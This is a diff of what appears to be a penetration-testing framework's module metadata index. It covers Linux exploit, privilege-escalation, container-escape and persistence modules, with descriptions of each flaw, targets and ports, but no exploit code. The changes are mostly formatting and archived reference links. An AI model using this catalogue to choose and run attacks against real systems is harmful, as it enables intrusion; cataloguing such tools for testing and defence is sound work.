"exploit_linux/http/webmin_package_updates_rce": { "name": "Webmin Package Updates RCE", "fullname": "exploit/linux/http/webmin_package_updates_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-07-26", "type": "exploit", @@ -87458,9 +77155,7 @@ "exploit_linux/http/webmin_packageup_rce": { "name": "Webmin Package Updates Remote Command Execution", "fullname": "exploit/linux/http/webmin_packageup_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-16", "type": "exploit", @@ -87500,17 +77195,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/wepresent_cmd_injection": { "name": "Barco WePresent file_transfer.cgi Command Injection", "fullname": "exploit/linux/http/wepresent_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-30", "type": "exploit", @@ -87552,17 +77244,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/wipg1000_cmd_injection": { "name": "WePresent WiPG-1000 Command Injection", "fullname": "exploit/linux/http/wipg1000_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-20", "type": "exploit", @@ -87601,17 +77290,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/xplico_exec": { "name": "Xplico Remote Code Execution", "fullname": "exploit/linux/http/xplico_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-29", "type": "exploit", @@ -87652,17 +77338,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/zabbix_sqli": { "name": "Zabbix 2.0.8 SQL Injection and Remote Code Execution", "fullname": "exploit/linux/http/zabbix_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-23", "type": "exploit", @@ -87703,17 +77386,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/zen_load_balancer_exec": { "name": "ZEN Load Balancer Filelog Command Execution", "fullname": "exploit/linux/http/zen_load_balancer_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-14", "type": "exploit", @@ -87723,7 +77403,7 @@ "description": "This module exploits a vulnerability in ZEN Load Balancer\n version 2.0 and 3.0-rc1 which could be abused to allow authenticated users\n to execute arbitrary code under the context of the 'root' user.\n The 'content2-2.cgi' file uses user controlled data from the 'filelog'\n parameter within backticks.", "references": [ "OSVDB-85654", - "URL-http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/" + "URL-http://web.archive.org/web/20221203195056/https://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/" ], "platform": "Unix", "arch": "cmd", @@ -87746,24 +77426,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/linux/http/zen_load_balancer_exec.rb", "is_install_path": true, "ref_name": "linux/http/zen_load_balancer_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/zenoss_showdaemonxmlconfig_exec": { "name": "Zenoss 3 showDaemonXMLConfig Command Execution", "fullname": "exploit/linux/http/zenoss_showdaemonxmlconfig_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-07-30", "type": "exploit", @@ -87772,7 +77449,7 @@ ], "description": "This module exploits a command execution vulnerability in Zenoss 3.x\n which could be abused to allow authenticated users to execute arbitrary\n code under the context of the 'zenoss' user. The show_daemon_xml_configs()\n function in the 'ZenossInfo.py' script calls Popen() with user\n controlled data from the 'daemon' parameter.", "references": [ - "URL-http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/", + "URL-http://web.archive.org/web/20221203180334/https://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/", "OSVDB-84408" ], "platform": "Unix", @@ -87796,24 +77473,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2021-11-22 14:11:03 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb", "is_install_path": true, "ref_name": "linux/http/zenoss_showdaemonxmlconfig_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/zimbra_cpio_cve_2022_41352": { "name": "TAR Path Traversal in Zimbra (CVE-2022-41352)", "fullname": "exploit/linux/http/zimbra_cpio_cve_2022_41352", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-28", "type": "exploit", @@ -87879,9 +77553,7 @@ "exploit_linux/http/zimbra_mboximport_cve_2022_27925": { "name": "Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)", "fullname": "exploit/linux/http/zimbra_mboximport_cve_2022_27925", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-05-10", "type": "exploit", @@ -87945,9 +77617,7 @@ "exploit_linux/http/zimbra_unrar_cve_2022_30333": { "name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)", "fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-28", "type": "exploit", @@ -88009,9 +77679,7 @@ "exploit_linux/http/zimbra_xxe_rce": { "name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF", "fullname": "exploit/linux/http/zimbra_xxe_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-13", "type": "exploit", @@ -88054,17 +77722,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/zyxel_lfi_unauth_ssh_rce": { "name": "Zyxel chained RCE using LFI and weak password derivation algorithm", "fullname": "exploit/linux/http/zyxel_lfi_unauth_ssh_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-01", "type": "exploit", @@ -88131,9 +77796,7 @@ "exploit_linux/http/zyxel_parse_config_rce": { "name": "Zyxel parse_config.py Command Injection", "fullname": "exploit/linux/http/zyxel_parse_config_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-24", "type": "exploit", @@ -88182,9 +77845,7 @@ "artifacts-on-disk", "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": true @@ -88192,9 +77853,7 @@ "exploit_linux/http/zyxel_ztp_rce": { "name": "Zyxel Firewall ZTP Unauthenticated Command Injection", "fullname": "exploit/linux/http/zyxel_ztp_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-28", "type": "exploit", @@ -88253,9 +77912,7 @@ "exploit_linux/ids/alienvault_centerd_soap_exec": { "name": "AlienVault OSSIM av-centerd Command Injection", "fullname": "exploit/linux/ids/alienvault_centerd_soap_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-05-05", "type": "exploit", @@ -88298,17 +77955,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/ids/snortbopre": { "name": "Snort Back Orifice Pre-Preprocessor Buffer Overflow", "fullname": "exploit/linux/ids/snortbopre", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-10-18", "type": "exploit", @@ -88324,12 +77978,8 @@ "platform": "Linux", "arch": "", "rport": 9080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Debian 3.1 Sarge" ], @@ -88340,17 +77990,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/imap/imap_uw_lsub": { "name": "UoW IMAP Server LSUB Buffer Overflow", "fullname": "exploit/linux/imap/imap_uw_lsub", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2000-04-16", "type": "exploit", @@ -88368,12 +78015,8 @@ "platform": "Linux", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux Bruteforce" ], @@ -88384,17 +78027,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/local/abrt_raceabrt_priv_esc": { "name": "ABRT raceabrt Privilege Escalation", "fullname": "exploit/linux/local/abrt_raceabrt_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-14", "type": "exploit", @@ -88421,12 +78061,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88437,23 +78073,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/abrt_sosreport_priv_esc": { "name": "ABRT sosreport Privilege Escalation", "fullname": "exploit/linux/local/abrt_sosreport_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-23", "type": "exploit", @@ -88474,12 +78105,8 @@ "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88490,23 +78117,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/af_packet_chocobo_root_priv_esc": { "name": "AF_PACKET chocobo_root Privilege Escalation", "fullname": "exploit/linux/local/af_packet_chocobo_root_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-08-12", "type": "exploit", @@ -88530,12 +78152,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88562,16 +78180,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/af_packet_packet_set_ring_priv_esc": { "name": "AF_PACKET packet_set_ring Privilege Escalation", "fullname": "exploit/linux/local/af_packet_packet_set_ring_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-03-29", "type": "exploit", @@ -88593,12 +78207,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88622,16 +78232,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ansible_node_deployer": { "name": "Ansible Agent Payload Deployer", "fullname": "exploit/linux/local/ansible_node_deployer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-06-12", "type": "exploit", @@ -88647,12 +78253,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88680,16 +78282,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/apport_abrt_chroot_priv_esc": { "name": "Apport / ABRT chroot Privilege Escalation", "fullname": "exploit/linux/local/apport_abrt_chroot_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-31", "type": "exploit", @@ -88716,12 +78314,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88732,23 +78326,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/apt_package_manager_persistence": { "name": "APT Package Manager Persistence", "fullname": "exploit/linux/local/apt_package_manager_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-03-09", "type": "exploit", @@ -88756,18 +78345,12 @@ "Aaron Ringo" ], "description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. This module creates a pre-invoke hook\n for APT in apt.conf.d. The hook name syntax is numeric followed by text.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -88778,23 +78361,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/asan_suid_executable_priv_esc": { "name": "AddressSanitizer (ASan) SUID Executable Privilege Escalation", "fullname": "exploit/linux/local/asan_suid_executable_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-17", "type": "exploit", @@ -88813,12 +78391,8 @@ "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88845,16 +78419,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/autostart_persistence": { "name": "Autostart Desktop Item Persistence", "fullname": "exploit/linux/local/autostart_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-02-13", "type": "exploit", @@ -88862,18 +78432,12 @@ "Eliott Teissonniere" ], "description": "This module will create an autostart entry to execute a payload.\n The payload will be executed when the users logs in.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -88884,23 +78448,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/bash_profile_persistence": { "name": "Bash Profile Persistence", "fullname": "exploit/linux/local/bash_profile_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1989-06-08", "type": "exploit", @@ -88914,12 +78473,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -88947,16 +78502,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/blueman_set_dhcp_handler_dbus_priv_esc": { "name": "blueman set_dhcp_handler D-Bus Privilege Escalation", "fullname": "exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-18", "type": "exploit", @@ -88978,12 +78529,8 @@ "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -88994,23 +78541,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/bpf_priv_esc": { "name": "Linux BPF doubleput UAF Privilege Escalation", "fullname": "exploit/linux/local/bpf_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-05-04", "type": "exploit", @@ -89033,12 +78575,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -89061,16 +78599,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/bpf_sign_extension_priv_esc": { "name": "Linux BPF Sign Extension Local Privilege Escalation", "fullname": "exploit/linux/local/bpf_sign_extension_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-11-12", "type": "exploit", @@ -89103,12 +78637,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -89136,16 +78666,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cpi_runrshell_priv_esc": { "name": "Cisco Prime Infrastructure Runrshell Privilege Escalation", "fullname": "exploit/linux/local/cpi_runrshell_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-12-08", "type": "exploit", @@ -89160,12 +78686,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cisco Prime Infrastructure 3.4.0" ], @@ -89176,23 +78698,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cron_persistence": { "name": "Cron Persistence", "fullname": "exploit/linux/local/cron_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1979-07-01", "type": "exploit", @@ -89200,18 +78717,12 @@ "h00die " ], "description": "This module will create a cron or crontab entry to execute a payload.\n The module includes the ability to automatically clean up those entries to prevent multiple executions.\n syslog will get a copy of the cron entry.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Cron", "User Crontab", @@ -89224,22 +78735,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe": { "name": "Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE", "fullname": "exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2021-05-11", "type": "exploit", @@ -89263,12 +78767,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -89286,25 +78786,19 @@ "Stability": [ "crash-os-down" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2021_3493_overlayfs": { "name": "2021 Ubuntu Overlayfs LPE", "fullname": "exploit/linux/local/cve_2021_3493_overlayfs", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2021-04-12", "type": "exploit", @@ -89321,12 +78815,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "x86_64", "aarch64" @@ -89342,9 +78832,7 @@ "Reliability": [ "repeatable-session" ], - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "artifacts-on-disk" ] @@ -89354,16 +78842,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2021_38648_omigod": { "name": "Microsoft OMI Management Interface Authentication Bypass", "fullname": "exploit/linux/local/cve_2021_38648_omigod", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-14", "type": "exploit", @@ -89382,12 +78866,8 @@ "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -89419,16 +78899,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2021_4034_pwnkit_lpe_pkexec": { "name": "Local Privilege Escalation in polkits pkexec", "fullname": "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-01-25", "type": "exploit", @@ -89450,12 +78926,8 @@ "platform": "Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "x86_64", "x86", @@ -89484,16 +78956,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2022_0847_dirtypipe": { "name": "Dirty Pipe Local Privilege Escalation via CVE-2022-0847", "fullname": "exploit/linux/local/cve_2022_0847_dirtypipe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-20", "type": "exploit", @@ -89510,12 +78978,8 @@ "platform": "Linux", "arch": "x64, x86, armle, aarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -89545,16 +79009,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2022_0995_watch_queue": { "name": "Watch Queue Out of Bounds Write", "fullname": "exploit/linux/local/cve_2022_0995_watch_queue", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2022-03-14", "type": "exploit", @@ -89574,12 +79034,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ubuntu Linux 5.13.0-37" ], @@ -89606,16 +79062,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2022_1043_io_uring_priv_esc": { "name": "io_uring Same Type Object Reuse Priv Esc", "fullname": "exploit/linux/local/cve_2022_1043_io_uring_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2022-03-22", "type": "exploit", @@ -89634,12 +79086,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -89666,16 +79114,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/cve_2023_0386_overlayfs_priv_esc": { "name": "Local Privilege Escalation via CVE-2023-0386", "fullname": "exploit/linux/local/cve_2023_0386_overlayfs_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-22", "type": "exploit", @@ -89695,12 +79139,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -89727,16 +79167,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/desktop_privilege_escalation": { "name": "Desktop Linux Password Stealer and Privilege Escalation", "fullname": "exploit/linux/local/desktop_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-07", "type": "exploit", @@ -89744,18 +79180,12 @@ "Jakob Lell" ], "description": "This module steals the user password of an administrative user on a desktop Linux system\n when it is entered for unlocking the screen or for doing administrative actions using\n PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.\n It exploits the design weakness that there is no trusted channel for transferring the\n password from the keyboard to the actual password verification against the shadow file\n (which is running as root since /etc/shadow is only readable to the root user). Both\n screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under\n the current user account to query for the password and then pass it to a setuid-root binary\n to do the password verification. Therefore, it is possible to inject a password stealer\n after compromising the user account. Since sudo requires only the user password (and not\n the root password of the system), stealing the user password of an administrative user\n directly allows escalating to root privileges. Please note, you have to start a handler\n as a background job before running this exploit since the exploit will only create a shell\n when the user actually enters the password (which may be hours after launching the exploit).\n Using exploit/multi/handler with the option ExitOnSession set to false should do the job.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x86_64" @@ -89767,23 +79197,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/diamorphine_rootkit_signal_priv_esc": { "name": "Diamorphine Rootkit Signal Privilege Escalation", "fullname": "exploit/linux/local/diamorphine_rootkit_signal_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-07", "type": "exploit", @@ -89798,12 +79223,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -89827,16 +79248,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/docker_cgroup_escape": { "name": "Docker cgroups Container Escape", "fullname": "exploit/linux/local/docker_cgroup_escape", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-04", "type": "exploit", @@ -89862,12 +79279,8 @@ "platform": "Linux,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BINARY", "CMD" @@ -89894,16 +79307,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/docker_daemon_privilege_escalation": { "name": "Docker Daemon Privilege Escalation", "fullname": "exploit/linux/local/docker_daemon_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-28", "type": "exploit", @@ -89911,18 +79320,12 @@ "forzoni" ], "description": "This module obtains root privileges from any host account with access to the\n Docker daemon. Usually this includes accounts in the `docker` group.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86, x64, armle, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -89933,23 +79336,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/docker_privileged_container_escape": { "name": "Docker Privileged Container Escape", "fullname": "exploit/linux/local/docker_privileged_container_escape", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-07-17", "type": "exploit", @@ -89965,12 +79363,8 @@ "platform": "Linux", "arch": "x86, x64, armle, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -89998,16 +79392,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/docker_privileged_container_kernel_escape": { "name": "Docker Privileged Container Kernel Escape", "fullname": "exploit/linux/local/docker_privileged_container_kernel_escape", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-01", "type": "exploit", @@ -90024,12 +79414,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -90057,16 +79443,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/docker_runc_escape": { "name": "Docker Container Escape Via runC Overwrite", "fullname": "exploit/linux/local/docker_runc_escape", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-01-01", "type": "exploit", @@ -90087,12 +79469,8 @@ 